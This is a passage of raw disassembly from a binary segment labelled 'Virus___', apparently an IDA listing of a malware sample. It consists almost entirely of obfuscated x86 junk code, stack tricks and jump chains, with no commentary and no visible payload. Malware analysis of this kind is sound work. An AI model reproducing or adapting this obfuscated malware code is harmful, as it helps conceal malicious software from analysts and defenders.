loc_558B01 ; --------------------------------------------------------------------------- loc_55486D: ; CODE XREF: Virus___:0055AAC6j mov [esp], eax mov al, 0Ch jmp loc_551241 ; --------------------------------------------------------------------------- loc_554877: ; CODE XREF: Virus___:0055D097j push ebp xor dword ptr [esp], 0D080CF5h pop edx jmp loc_55241B ; --------------------------------------------------------------------------- loc_554885: ; CODE XREF: Virus___:00552283j mov ebx, [esp] add esp, 4 sub ebx, esi push dword ptr [esp] pop esi add esp, 4 add ebx, esi add ebx, 110C5A24h mov esi, [esp] add esp, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] jmp loc_55C00E ; --------------------------------------------------------------------------- loc_5548B3: ; CODE XREF: Virus___:0056368Dj push ecx mov ch, 0D9h xor ch, 0C2h add ch, 0ECh sub ch, 97h dec ch xor ch, 5 push eax mov ah, ch push ebx mov bl, ah mov dl, bl pop ebx mov eax, [esp] jmp loc_55D7E4 ; --------------------------------------------------------------------------- loc_5548D5: ; CODE XREF: Virus___:00559793j add esp, 4 sub eax, edx pop edx sub esp, 4 mov [esp], eax jmp loc_551CAB ; --------------------------------------------------------------------------- loc_5548E6: ; CODE XREF: Virus___:0055CF7Dj mov edx, 68465281h jmp loc_560E56 ; --------------------------------------------------------------------------- loc_5548F0: ; CODE XREF: Virus___:0055F012j pop edi push 1D7Ah mov [esp], edi mov edi, 4 sub eax, edi pop edi xchg eax, [esp] pop esp sub esp, 4 jmp loc_55A7A8 ; --------------------------------------------------------------------------- loc_55490D: ; CODE XREF: Virus___:00551297j sub esp, 4 jmp loc_5525E3 ; --------------------------------------------------------------------------- lodsd jmp loc_552237 ; --------------------------------------------------------------------------- loc_55491E: ; CODE XREF: Virus___:0055CFADj pop esp or [esp], eax pushf jmp loc_562F78 ; --------------------------------------------------------------------------- loc_554928: ; CODE XREF: Virus___:005500D4j pop esi push ebp push esp jmp loc_5585B1 ; --------------------------------------------------------------------------- loc_554930: ; CODE XREF: Virus___:00556C82j add edi, 5E0A6A99h dec edi jmp loc_55DB4D ; --------------------------------------------------------------------------- loc_55493C: ; CODE XREF: Virus___:0055F200j pop ecx jmp loc_560B66 ; --------------------------------------------------------------------------- loc_554942: ; CODE XREF: Virus___:00556CC3j push eax mov eax, ebx mov edx, eax pop eax pop ebx add edx, 11A116D6h jmp loc_55790D ; --------------------------------------------------------------------------- loc_554954: ; CODE XREF: Virus___:00553251j push 9DFh mov [esp], ebp push edi jmp loc_562742 ; --------------------------------------------------------------------------- loc_554962: ; CODE XREF: Virus___:0056036Bj sub esp, 4 mov [esp], ebp jmp loc_558768 ; --------------------------------------------------------------------------- loc_55496D: ; CODE XREF: Virus___:0055049Cj push ecx mov ecx, 2426E3Dh jmp loc_553CA4 ; --------------------------------------------------------------------------- loc_554978: ; CODE XREF: Virus___:005516C1j add edi, 4 push edi push dword ptr [esp+4] jmp loc_55BCE8 ; --------------------------------------------------------------------------- loc_554988: ; CODE XREF: Virus___:00556806j mov edx, [esp] jmp loc_563054 ; --------------------------------------------------------------------------- loc_554990: ; CODE XREF: Virus___:0054FC1Bj dec ecx push eax mov eax, 4FB2339Eh jmp loc_553FB9 ; --------------------------------------------------------------------------- loc_55499C: ; CODE XREF: Virus___:00558763j push dword ptr [esp] jmp loc_551A05 ; --------------------------------------------------------------------------- lodsd push 4D7h mov [esp], ebp mov ebp, 4A35031Eh sub eax, ebp push dword ptr [esp] mov ebp, [esp] add esp, 4 push edx jmp loc_561DAE ; --------------------------------------------------------------------------- loc_5549C3: ; CODE XREF: Virus___:00554B92j neg esi not esi jmp loc_560662 ; --------------------------------------------------------------------------- mov eax, [esp] push edx push esp mov edx, [esp] add esp, 4 add edx, 4 jmp loc_555943 ; --------------------------------------------------------------------------- loc_5549E5: ; CODE XREF: Virus___:0055832Dj add [esp+4], edx pop edx pop ecx jmp loc_55DBD9 ; --------------------------------------------------------------------------- loc_5549F0: ; CODE XREF: Virus___:00560C4Ej pop edi jmp loc_55E1AE ; --------------------------------------------------------------------------- loc_5549F6: ; CODE XREF: Virus___:00557163j pop ebx push ecx mov ecx, esp push esi mov esi, 67FD07EAh shr esi, 8 sub esi, 119A2A2Eh add esi, 58155A45h sub esi, 2DC64A19h sub esi, 191CE301h jmp loc_562633 ; --------------------------------------------------------------------------- loc_554A20: ; CODE XREF: Virus___:0055730Bj mov esp, [esp] sub esi, 3841112Bh add esi, eax add esi, 3841112Bh push eax push edx mov edx, 0F5C16A7h not edx sub edx, 48417613h xor edx, 179E2A71h add edx, 641EFE78h mov eax, edx pop edx sub esi, eax pop eax sub esp, 4 mov [esp], edx mov edx, 11055761h add esi, edx pop edx push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], ecx push 1FA32AB2h pop ecx shr ecx, 8 not ecx jmp loc_5618ED ; --------------------------------------------------------------------------- loc_554A89: ; CODE XREF: Virus___:00550B52j push edi push 7FD46FDAh pop edi add edi, 0AA83DA5h or edi, 6F3A3829h sub edi, 0ECB04E72h mov eax, edi pop edi add ebp, eax pop eax xor ebp, 519959CBh push 64EEh mov [esp], edi jmp loc_555532 ; --------------------------------------------------------------------------- loc_554ABB: ; CODE XREF: Virus___:00553501j add dword ptr [esp], 4 jmp loc_557C55 ; --------------------------------------------------------------------------- loc_554AC4: ; CODE XREF: Virus___:0055C6E6j pop ecx add bl, 0E9h jmp loc_54FD7E ; --------------------------------------------------------------------------- loc_554ACD: ; CODE XREF: Virus___:0055C829j xor [esp], ebx xor ebx, [esp] pop esp push edx push ebx mov bh, 40h mov dl, 0E3h add dl, 0D0h sub dl, bh sub dl, 0D0h pop ebx and ah, dl pop edx xor ah, 23h add cl, ah pop eax sub al, 19h add al, cl add al, 19h mov ecx, [esp] add esp, 4 push 6ACAh mov [esp], ecx push ebx push ecx mov ch, 0C9h and ch, 50h and ch, 0AAh not ch add ch, 2Ch mov bh, ch pop ecx sub esp, 4 mov [esp], edx push ecx mov cl, bh mov dl, cl mov ecx, [esp] jmp loc_5582FE ; --------------------------------------------------------------------------- loc_554B2B: ; CODE XREF: Virus___:0055AE11j not eax xchg eax, ebp shl ebp, 7 shl ebp, 8 jmp loc_55769C ; --------------------------------------------------------------------------- loc_554B39: ; CODE XREF: Virus___:00554C4Bj add eax, ecx add eax, 2353158h add eax, 44E5526h pop ecx push edi mov edi, 2 sub eax, 49441C6Fh add eax, edi add eax, 49441C6Fh mov edi, [esp] add esp, 4 xchg eax, [esp] pop esp cmp cx, ax pushf jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_554B6E: ; CODE XREF: Virus___:005561B6j dec ebx not ebx jmp loc_5538A4 ; --------------------------------------------------------------------------- loc_554B76: ; CODE XREF: Virus___:00552D88j pop dword ptr [esp] pop esp jmp loc_560821 ; --------------------------------------------------------------------------- loc_554B7F: ; CODE XREF: Virus___:0055F168j mov ecx, esp add ecx, 4 jmp loc_554214 ; --------------------------------------------------------------------------- loc_554B8C: ; CODE XREF: Virus___:005545FBj push esi mov esi, 61F49AFh jmp loc_5549C3 ; --------------------------------------------------------------------------- loc_554B97: ; CODE XREF: Virus___:00560D08j push esi mov esi, 56FB6E10h push esi pop edx pop esi push edi mov edi, 7D956FCAh and edi, 5CFE1621h push 0 add dword ptr [esp], 26600401h add dword ptr [esp], 63F7676Ah sub [esp], edi sub dword ptr [esp], 63F7676Ah sub dword ptr [esp], 26600401h jmp loc_56278E ; --------------------------------------------------------------------------- loc_554BD5: ; CODE XREF: Virus___:00563889j pop edx sub al, bl add al, 6Dh pop ebx add bl, 40h push ecx mov ch, 9 xor ch, 10h jmp loc_55A556 ; --------------------------------------------------------------------------- loc_554BE9: ; CODE XREF: Virus___:00560768j pop ebx add esp, 4 push 2BC7h mov [esp], esi mov esi, 146349ADh add esi, 7AEA0F9Ch xor esi, 472C776Dh jmp loc_5642EA ; --------------------------------------------------------------------------- loc_554C0E: ; CODE XREF: Virus___:00555031j add ebp, 398A26ECh jmp loc_558565 ; --------------------------------------------------------------------------- mov cx, [esp] push esi push esp mov esi, [esp] add esp, 4 add esi, 4 push eax mov eax, 60361F16h push eax xchg ebp, [esp] not ebp xchg ebp, [esp] mov eax, [esp] add esp, 4 push esi push ebp jmp loc_5574A0 ; --------------------------------------------------------------------------- loc_554C4A: ; CODE XREF: Virus___:005620FAj pop esi jmp loc_554B39 ; --------------------------------------------------------------------------- loc_554C50: ; CODE XREF: Virus___:0055AB36j add edi, 0D750A9B2h add esi, edi pop edi jmp loc_55D880 ; --------------------------------------------------------------------------- loc_554C5E: ; CODE XREF: Virus___:00555E86j push edi push 5318h jmp loc_5530E4 ; --------------------------------------------------------------------------- loc_554C69: ; CODE XREF: Virus___:00552633j sub eax, 55D66A44h add esi, 6C1E6588h jmp loc_5641F3 ; --------------------------------------------------------------------------- loc_554C79: ; CODE XREF: Virus___:00563AFFj push ebp sub dword ptr [esp], 280E5610h jmp loc_55F2C3 ; --------------------------------------------------------------------------- loc_554C86: ; CODE XREF: Virus___:005625F0j xor edi, 39491EFEh jmp loc_55060E ; --------------------------------------------------------------------------- loc_554C91: ; CODE XREF: Virus___:0055A86Aj push dword ptr [esp] pop edi add esp, 4 sub ebx, ebp jmp loc_5646A7 ; --------------------------------------------------------------------------- loc_554C9F: ; CODE XREF: Virus___:00551847j push ebx mov ebx, esp jmp loc_55A273 ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_558FAE ; --------------------------------------------------------------------------- loc_554CAF: ; CODE XREF: Virus___:0055419Aj mov edx, 5950CA45h sub edx, edi pop edi push 613Bh jmp loc_555099 ; --------------------------------------------------------------------------- loc_554CC1: ; CODE XREF: Virus___:0055377Fj push ecx mov ecx, 0FFFFFFFFh sub edx, ecx pop ecx neg edx jmp loc_55CAED ; --------------------------------------------------------------------------- loc_554CD1: ; CODE XREF: Virus___:005520ECj mov esp, [esp] jmp loc_557C72 ; --------------------------------------------------------------------------- loc_554CD9: ; CODE XREF: Virus___:0056305Dj push esi jmp loc_5634EE ; --------------------------------------------------------------------------- loc_554CDF: ; CODE XREF: Virus___:0055DCDAj mov esi, ecx pop ecx push 0A96h mov [esp], ecx mov ecx, 0EA2F0BD3h jmp loc_553315 ; --------------------------------------------------------------------------- loc_554CF4: ; CODE XREF: Virus___:0056040Cj xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp jmp loc_563392 ; --------------------------------------------------------------------------- loc_554D03: ; CODE XREF: Virus___:005577FDj push 4725h jmp loc_559345 ; --------------------------------------------------------------------------- loc_554D0D: ; CODE XREF: Virus___:0055CE92j xchg edi, [esp] mov esp, [esp] xchg esi, [esp] pop esp imul ecx, eax jmp loc_55E00D ; --------------------------------------------------------------------------- loc_554D1F: ; CODE XREF: Virus___:0055A65Bj or ebx, 8F56C41h jmp loc_560B97 ; --------------------------------------------------------------------------- loc_554D2A: ; CODE XREF: Virus___:00562CFCj sub edx, ebx pop ebx add edx, ebp add edx, 75957496h push dword ptr [esp] jmp loc_55EF3B ; --------------------------------------------------------------------------- loc_554D3D: ; CODE XREF: Virus___:0055C04Dj pop ebp sub esp, 4 mov [esp], ebp jmp loc_556996 ; --------------------------------------------------------------------------- loc_554D4C: ; CODE XREF: Virus___:0055D9F4j push 2BA5h jmp loc_553995 ; --------------------------------------------------------------------------- loc_554D56: ; CODE XREF: Virus___:0055B506j sub eax, ebx add eax, 2B615C17h jmp loc_5635DC ; --------------------------------------------------------------------------- loc_554D62: ; CODE XREF: Virus___:0055AD78j mov edx, [esp] add esp, 4 add ecx, edx mov edx, [esp] push esi mov esi, esp add esi, 4 jmp loc_554DB2 ; --------------------------------------------------------------------------- loc_554D7E: ; CODE XREF: Virus___:0055B756j push edi jmp loc_559450 ; --------------------------------------------------------------------------- loc_554D84: ; CODE XREF: Virus___:0055A0C3j add ecx, edx sub ecx, 6A7327C4h add ecx, 24C92B41h pop edx jmp loc_559DA1 ; --------------------------------------------------------------------------- loc_554D98: ; CODE XREF: Virus___:005551B5j inc eax add eax, 0C905371h not eax xor eax, 73B6358Eh shl eax, 6 sub eax, 2E9BEF39h jmp loc_553671 ; --------------------------------------------------------------------------- loc_554DB2: ; CODE XREF: Virus___:00554D79j add esi, 4 xchg esi, [esp] pop esp push edx mov edx, 332E33CFh shr edx, 3 jmp loc_558AB3 ; --------------------------------------------------------------------------- loc_554DC7: ; CODE XREF: Virus___:00563F97j mov edi, [esp] add esp, 4 jmp loc_55179C ; --------------------------------------------------------------------------- loc_554DD2: ; CODE XREF: Virus___:00552A12j push dword ptr [esp] pop eax jmp loc_558F20 ; --------------------------------------------------------------------------- loc_554DDB: ; CODE XREF: Virus___:0055018Ej push dword ptr [esp] pop edx push ecx mov ecx, esp add ecx, 4 push ebx jmp loc_5641A1 ; --------------------------------------------------------------------------- loc_554DEE: ; CODE XREF: Virus___:005615C9j pop ecx add esp, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] push 3146h mov [esp], ebx mov ebx, 5E384028h sub ebx, 572040C3h or ebx, 14E53057h add ebx, 71191B6Eh sub ebx, 0FFFFFFFFh push ecx mov ecx, 67261FD7h not ecx push edx mov edx, 5D8D6139h push edi jmp loc_55DC32 ; --------------------------------------------------------------------------- loc_554E37: ; CODE XREF: Virus___:0055078Cj pop esp mov [esp], ebp mov ebp, esp jmp loc_5585AB ; --------------------------------------------------------------------------- loc_554E42: ; CODE XREF: Virus___:0055600Ej and edx, 43841653h dec edx shr edx, 3 sub edx, 8F76D2D2h mov ebp, edx jmp loc_55ABF3 ; --------------------------------------------------------------------------- loc_554E59: ; CODE XREF: Virus___:0055DB60j push edx jmp loc_55200E ; --------------------------------------------------------------------------- loc_554E5F: ; CODE XREF: Virus___:0055CC51j mov esp, [esp] shl word ptr [esp], cl pushf jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_554E6C: ; CODE XREF: Virus___:00554676j xor esi, [esp] xor [esp], esi xor esi, [esp] jmp loc_5638CC ; --------------------------------------------------------------------------- loc_554E7A: ; CODE XREF: Virus___:0055E452j push edi mov edi, 46B0203Eh push eax mov eax, 58730B59h and edi, eax jmp loc_550325 ; --------------------------------------------------------------------------- loc_554E8D: ; CODE XREF: Virus___:00553FB4j mov ebp, 1BD4BD0h xor ecx, ebp mov ebp, [esp] add esp, 4 push ebp mov ebp, 327A5BD0h add ebp, 0E9051B6Ch xor ecx, ebp mov ebp, [esp] add esp, 4 jmp loc_558F48 ; --------------------------------------------------------------------------- loc_554EB6: ; CODE XREF: Virus___:0055BB85j xor [esp], esi xor esi, [esp] mov esp, [esp] jmp loc_55E93E ; --------------------------------------------------------------------------- loc_554EC4: ; CODE XREF: Virus___:0055F3F1j sub esp, 4 mov [esp], eax jmp loc_5602F0 ; --------------------------------------------------------------------------- loc_554ED2: ; CODE XREF: Virus___:005626F8j push dword ptr [esp+4] mov eax, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] mov [esp], ebp mov ebp, 332603D9h push ebx mov ebx, 0 sub ebx, ebp mov ebp, ebx pop ebx inc ebp shl ebp, 7 sub esp, 4 mov [esp], ecx mov ecx, 3D7E69F3h shl ecx, 8 inc ecx shr ecx, 6 xor ecx, 7F84BD78h add ebp, ecx pop ecx shl ebp, 5 push eax mov eax, 597F739Ah and eax, 2B8D21EDh shl eax, 3 xor eax, 24CF4163h add eax, 7DE77028h push ebx jmp loc_561E2A ; --------------------------------------------------------------------------- loc_554F35: ; CODE XREF: Virus___:00564C83j push dword ptr [esp+4] pop eax jmp loc_558806 ; --------------------------------------------------------------------------- loc_554F3F: ; CODE XREF: Virus___:0055B43Aj mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_5560C9 ; --------------------------------------------------------------------------- loc_554F56: ; CODE XREF: Virus___:00564845j add ecx, 2F50566Ah jmp loc_55C82E ; --------------------------------------------------------------------------- loc_554F61: ; CODE XREF: Virus___:0055B9E2j mov [esp], eax mov eax, 4B46216h shl eax, 4 jmp loc_5608D0 ; --------------------------------------------------------------------------- loc_554F71: ; CODE XREF: Virus___:0055C3A2j pop ecx sub ecx, 739A590Bh sub ecx, edi add ecx, 739A590Bh jmp loc_55A00C ; --------------------------------------------------------------------------- loc_554F85: ; CODE XREF: Virus___:00561A94j mov esp, [esp] add edx, eax mov eax, [esp] add esp, 4 add edx, 2 xchg edx, [esp] mov esp, [esp] sub [esp], ax pushf jmp loc_550639 ; --------------------------------------------------------------------------- loc_554FA3: ; CODE XREF: Virus___:005514B2j push edx mov edx, ecx mov esi, edx pop edx jmp loc_5602B1 ; --------------------------------------------------------------------------- loc_554FAE: ; CODE XREF: Virus___:0055F388j add eax, 7D0E0A27h add eax, 264C55A9h mov ebx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp or [edi+1Ch], eax mov eax, [esp] push eax mov eax, esp jmp loc_552757 ; --------------------------------------------------------------------------- loc_554FDC: ; CODE XREF: Virus___:00554389j mov ebx, [esp] push ecx jmp loc_558D38 ; --------------------------------------------------------------------------- loc_554FE5: ; CODE XREF: Virus___:005547E4j mov [esp], esp add dword ptr [esp], 4 pop edi push ebp mov ebp, 5D964CC9h xor ebp, 73280F2Ah xchg esi, ebp jmp loc_55D6B5 ; --------------------------------------------------------------------------- loc_555003: ; CODE XREF: Virus___:0055A0E7j not cl dec cl xor cl, 36h inc cl add cl, 0C3h jmp loc_55A342 ; --------------------------------------------------------------------------- loc_555014: ; CODE XREF: Virus___:00555972j and esi, 6DA42B07h dec esi sub esi, 1126E935h sub eax, esi pop esi jmp loc_55C696 ; --------------------------------------------------------------------------- loc_555029: ; CODE XREF: Virus___:00558820j sub ebp, 398A26ECh add ebp, edx jmp loc_554C0E ; --------------------------------------------------------------------------- loc_555036: ; CODE XREF: Virus___:0054F805j pop ebx push edx mov edx, 2 sub eax, edx pop edx sub esp, 4 mov [esp], eax push dword ptr [esp+4] push dword ptr [esp] jmp loc_5628DB ; --------------------------------------------------------------------------- loc_555055: ; CODE XREF: Virus___:005564C6j add ebx, 0CF18511Ch sub edi, ebx pop ebx sub edi, ebp add edi, 0B68744Ch pop ebp dec edi sub esp, 4 mov [esp], eax jmp loc_555E2A ; --------------------------------------------------------------------------- loc_555076: ; CODE XREF: Virus___:0055A551j jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_55507B: ; CODE XREF: Virus___:00559AB4j mov [esp], esi jmp loc_553231 ; --------------------------------------------------------------------------- loc_555083: ; CODE XREF: Virus___:005570EAj sub ecx, 9003A56h add eax, ecx mov ecx, [esp] add esp, 4 jmp loc_56295F ; --------------------------------------------------------------------------- loc_555099: ; CODE XREF: Virus___:00554CBCj mov [esp], ecx push ebx jmp loc_55E2CA ; --------------------------------------------------------------------------- loc_5550A2: ; CODE XREF: Virus___:00555717j pop eax add esp, 4 add ebx, 0A9FEB802h add edi, 4B837F5Ch sub edi, ebx sub edi, 4B837F5Ch mov ebx, [esp] jmp loc_54FB29 ; --------------------------------------------------------------------------- loc_5550C5: ; CODE XREF: Virus___:00553130j pop edx push eax mov eax, 3FB1D39h xor eax, 3FB1D3Dh add edx, eax pop eax push 3BE3h mov [esp], ebx jmp loc_555B1F ; --------------------------------------------------------------------------- loc_5550E1: ; CODE XREF: Virus___:00553421j mov esp, [esp] mov [esp], cx mov cl, 0CBh sub bl, cl pop cx add bl, 81h jmp loc_55A14B ; --------------------------------------------------------------------------- loc_5550F6: ; CODE XREF: Virus___:005510D6j xor edi, 36DD4519h add edi, 0A806B240h add esi, edi jmp loc_55BB8A ; --------------------------------------------------------------------------- loc_555109: ; CODE XREF: Virus___:00564446j push eax push 0EAD6C7Ah pop eax not eax inc eax inc eax sub eax, 43D30FB4h dec eax jmp loc_553FDD ; --------------------------------------------------------------------------- loc_55511F: ; CODE XREF: Virus___:00559279j sub ecx, edi mov edi, [esp] add esp, 4 push ecx xor dword ptr [esp], 67881832h jmp loc_55BAF1 ; --------------------------------------------------------------------------- loc_555137: ; CODE XREF: Virus___:00564CBAj sub bh, 1 add bh, 4Ch add al, bh pop ebx mov ecx, [esp] jmp loc_56353C ; --------------------------------------------------------------------------- dd 81242489h, 42404h, 34FF0000h, 7BF3E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55515A: ; CODE XREF: Virus___:00551B48j mov ebp, 76252EA7h and ebp, 5D4A7C6Bh shr ebp, 7 shr ebp, 3 dec ebp jmp loc_556255 ; --------------------------------------------------------------------------- loc_555171: ; CODE XREF: Virus___:00562C3Dj add ebx, 4 push edx mov edx, 4 add ebx, edx pop edx xor ebx, [esp] jmp loc_5540FB ; --------------------------------------------------------------------------- loc_555188: ; CODE XREF: Virus___:00563D0Aj mov edx, 3DF772B2h sub ebx, edx pop edx sub esp, 4 mov [esp], ebx add dword ptr [esp], 57E20882h pop esi push edi mov edi, 2C1B50DDh push eax mov eax, 4D121902h jmp loc_560C6A ; --------------------------------------------------------------------------- loc_5551AF: ; CODE XREF: Virus___:005558E3j push eax mov eax, 6620288Fh jmp loc_554D98 ; --------------------------------------------------------------------------- loc_5551BA: ; CODE XREF: Virus___:005526FBj add edx, 4 xchg edx, [esp] pop esp add eax, 5D9B35FCh push edi mov edi, 7F863FC6h jmp loc_55350D ; --------------------------------------------------------------------------- loc_5551D4: ; CODE XREF: Virus___:005596CAj push dword ptr [esp] jmp loc_55CDE1 ; --------------------------------------------------------------------------- loc_5551DC: ; CODE XREF: Virus___:00563112j add esp, 4 push 2B8Fh jmp loc_55B8E7 ; --------------------------------------------------------------------------- loc_5551E9: ; CODE XREF: Virus___:005621D3j mov ebp, esp add ebp, 4 jmp loc_561CF1 ; --------------------------------------------------------------------------- loc_5551F6: ; CODE XREF: Virus___:00555859j dec eax sub eax, 1 jmp loc_560AB6 ; --------------------------------------------------------------------------- loc_555201: ; CODE XREF: Virus___:0055CF36j pop ecx and esi, 3B770E20h xor esi, 1A720E00h push esi pop eax jmp loc_552B0F ; --------------------------------------------------------------------------- loc_555215: ; CODE XREF: Virus___:00560528j sub ebx, 6A42108Bh push 168Dh jmp loc_55588E ; --------------------------------------------------------------------------- loc_555225: ; CODE XREF: Virus___:0054FD4Bj mov [esp], ecx push esi mov esi, 0B98424Ah mov ecx, esi pop esi sub eax, ecx pop ecx mov edx, [esp] jmp loc_559119 ; --------------------------------------------------------------------------- loc_55523C: ; CODE XREF: Virus___:0055B2D9j xchg ebx, [esp] pop esp mov [esp], edx mov edx, 4 add eax, edx pop edx push ecx mov ecx, 4 add eax, ecx pop ecx xchg eax, [esp] jmp loc_55F4F9 ; --------------------------------------------------------------------------- loc_55525C: ; CODE XREF: Virus___:0055C8ABj mov edi, esp jmp loc_551D71 ; --------------------------------------------------------------------------- loc_555263: ; CODE XREF: Virus___:0055C7CAj mov edx, 4855612Eh dec edx jmp loc_55FA44 ; --------------------------------------------------------------------------- loc_55526E: ; CODE XREF: Virus___:0054FBA4j pop esp push dword ptr [esp] pop ebx jmp loc_55473D ; --------------------------------------------------------------------------- loc_555278: ; CODE XREF: Virus___:0055424Bj add ecx, 4 jmp loc_563A8C ; --------------------------------------------------------------------------- loc_555283: ; CODE XREF: Virus___:00554484j push 3743h jmp loc_55AC08 ; --------------------------------------------------------------------------- loc_55528D: ; CODE XREF: Virus___:0055F321j pop dx pop edx xor ch, 0C8h add bl, 97h sub bl, ch sub bl, 97h push dword ptr [esp] pop ecx jmp loc_5645E9 ; --------------------------------------------------------------------------- loc_5552A4: ; CODE XREF: Virus___:0055BDCAj sub eax, 1207355Fh jmp loc_55D4B1 ; --------------------------------------------------------------------------- loc_5552AE: ; CODE XREF: Virus___:0055913Fj push 2845h jmp loc_551965 ; --------------------------------------------------------------------------- loc_5552B8: ; CODE XREF: Virus___:005646C5j xor esi, 548C385Ah xchg ebx, esi not ebx xchg ebx, esi and esi, 36175E8Ah add esi, 0DC915984h sub edx, 10D2529Eh add edx, esi add edx, 10D2529Eh pop esi jmp loc_550620 ; --------------------------------------------------------------------------- mov cx, [esp] push edx mov edx, esp jmp loc_55F8E3 ; --------------------------------------------------------------------------- loc_5552F0: ; CODE XREF: Virus___:00551647j add edi, 4C2A5A59h sub edi, 19023D84h pop ecx add edi, ebx add edi, 6CC16A83h pop ebx movzx eax, al push dword ptr [edi+eax*4] jmp loc_56066B ; --------------------------------------------------------------------------- loc_555311: ; CODE XREF: Virus___:0055B737j pop ebx add esi, 4 xchg esi, [esp] mov esp, [esp] jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_555323: ; CODE XREF: Virus___:00556AE2j and ecx, 21AC757Fh jmp loc_551C87 ; --------------------------------------------------------------------------- loc_55532E: ; CODE XREF: Virus___:005564DCj add edx, 4 push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] pop esp push ecx jmp loc_5602C1 ; --------------------------------------------------------------------------- loc_555344: ; CODE XREF: Virus___:0055C74Cj push ecx mov ecx, 65674641h jmp loc_54FC0F ; --------------------------------------------------------------------------- loc_55534F: ; CODE XREF: Virus___:005512D5j sub edi, 4 xchg edi, [esp] pop esp mov [esp], eax push 794Eh mov [esp], esp add dword ptr [esp], 4 mov eax, [esp] jmp loc_564139 ; --------------------------------------------------------------------------- loc_555373: ; CODE XREF: Virus___:00561373j mov edx, esp add edx, 4 jmp loc_562422 ; --------------------------------------------------------------------------- loc_555380: ; CODE XREF: Virus___:0055B205j xor ebp, 58019A6Bh push 30A0h mov [esp], ebp sub dword ptr [esp], 56E01950h mov esi, [esp] add esp, 4 jmp loc_563986 ; --------------------------------------------------------------------------- loc_5553A3: ; CODE XREF: Virus___:00553FFBj mov eax, esp push 10ADh mov [esp], edx mov edx, 11061E7Fh jmp loc_557297 ; --------------------------------------------------------------------------- loc_5553B7: ; CODE XREF: Virus___:0055C516j xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp mov [esp], edi mov edi, 454E0A3Eh neg edi not edi jmp loc_558342 ; --------------------------------------------------------------------------- loc_5553D2: ; CODE XREF: Virus___:005541D4j mov [esp], ebp mov ebp, 1 push ecx mov ecx, esp push esi mov esi, 104A0CE3h push ebp mov ebp, 5FFD12FFh sub esi, ebp pop ebp jmp loc_5556BD ; --------------------------------------------------------------------------- loc_5553F1: ; CODE XREF: Virus___:0055D68Bj inc eax shl eax, 3 sub eax, 43249BE4h add ebp, eax pop eax jmp loc_55AACB ; --------------------------------------------------------------------------- loc_555402: ; CODE XREF: Virus___:0055C911j xor ebx, eax pop eax mov ebp, ebx mov ebx, [esp] add esp, 4 add esi, ebp pop ebp xchg esi, [esp] pop esp bswap eax sub esp, 4 jmp loc_555E81 ; --------------------------------------------------------------------------- loc_55541E: ; CODE XREF: Virus___:00557C06j pop edx mov ecx, ebx pop ebx add edi, ecx pop ecx xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] add [esp], ax pushf jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_55543B: ; CODE XREF: Virus___:005517A0j push dword ptr [esp] push dword ptr [esp] pop eax push ebp mov ebp, esp push ecx mov ecx, 4 add ebp, ecx jmp loc_55D047 ; --------------------------------------------------------------------------- loc_555452: ; CODE XREF: Virus___:00561B6Fj mov ecx, 4 jmp loc_55D643 ; --------------------------------------------------------------------------- loc_55545C: ; CODE XREF: Virus___:0055DF5Bj xor edx, [esp] pop esp add ecx, eax pop eax add ecx, 2 jmp loc_55CB84 ; --------------------------------------------------------------------------- loc_55546B: ; CODE XREF: Virus___:005629B8j inc esi jmp loc_558EC4 ; --------------------------------------------------------------------------- loc_555471: ; CODE XREF: Virus___:005544D4j mov [esp], eax jmp loc_54F7ED ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] jmp loc_5540EA ; --------------------------------------------------------------------------- loc_555481: ; CODE XREF: Virus___:00555C65j mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] mov ebp, [esp] add esp, 4 jmp loc_5518AD ; --------------------------------------------------------------------------- loc_555499: ; CODE XREF: Virus___:0055CD75j push dword ptr [esp] jmp loc_55CFE8 ; --------------------------------------------------------------------------- loc_5554A1: ; CODE XREF: Virus___:005617FAj mov ebx, 51C15B3h xor ebx, 218B5BC5h shl ebx, 4 add ebx, 47E34090h jmp loc_552355 ; --------------------------------------------------------------------------- loc_5554BA: ; CODE XREF: Virus___:0055939Bj mov ecx, 4 add [esp+4], ecx pop ecx pop edx push ebp jmp loc_5542E4 ; --------------------------------------------------------------------------- loc_5554CB: ; CODE XREF: Virus___:00560749j mov ebx, 2BF23055h jmp loc_561788 ; --------------------------------------------------------------------------- loc_5554D5: ; CODE XREF: Virus___:005568BFj mov ebp, 15487D69h xor eax, ebp pop ebp and eax, 1E7E6C49h add eax, 8967F124h add ebp, eax pop eax push ebp add dword ptr [esp], 3F14484Ah pop eax sub eax, 3F14484Ah pop ebp push ebp mov ebp, 43DA7F11h sub ecx, 57232CBDh sub ecx, ebp add ecx, 57232CBDh mov ebp, [esp] add esp, 4 add ecx, eax add ecx, 43DA7F11h jmp loc_55DBF3 ; --------------------------------------------------------------------------- loc_555523: ; CODE XREF: Virus___:005587F7j mov [edi+eax*4+1], cl mov ecx, [esp] add esp, 4 jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_555532: ; CODE XREF: Virus___:00554AB6j push 31155FB6h pop edi add edi, 0D058B89Ah shr edi, 5 jmp loc_55F275 ; --------------------------------------------------------------------------- loc_555546: ; CODE XREF: Virus___:0056364Aj push edi mov edi, 4 add esi, edi jmp loc_55A317 ; --------------------------------------------------------------------------- loc_555553: ; CODE XREF: Virus___:0055E097j push esp pop ecx add ecx, 4 jmp loc_554419 ; --------------------------------------------------------------------------- loc_555560: ; CODE XREF: Virus___:00550CD5j push 6BEBh mov [esp], esp jmp loc_55C472 ; --------------------------------------------------------------------------- loc_55556D: ; CODE XREF: Virus___:00563DC8j add esi, 